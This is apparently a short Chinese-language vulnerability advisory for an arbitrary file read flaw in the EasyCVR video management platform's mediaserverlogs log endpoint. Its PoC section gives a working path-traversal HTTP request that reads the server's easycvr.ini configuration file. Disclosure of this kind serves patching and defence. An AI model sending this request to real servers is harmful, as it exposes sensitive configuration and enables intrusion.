EasyCVR-视频管理平台 mediaserverlogs 任意文件读取漏洞

日期: 2024-12-06 | 影响软件: EasyCVR | POC: 已公开

漏洞描述

EasyCVR智能边缘网关是TSINGSEE青犀视频旗下一款软硬一体的产品，可提供多协议的设备接入、采集、AI智能检测、处理、分发等服务。通过对视频监控场景中的人、车、物等进行AI检测与抓拍，对异常情况进行智能提醒和通知，EasyCVR-视频管理平台mediaserverlogs 存在任意文件读取漏洞，攻击者可读取远程读取服务器内部敏感配置文件造成信息泄露

PoC代码

GET /taillog/mediaserverlogs/..%5Ceasycvr.ini HTTP/1.1

相关漏洞推荐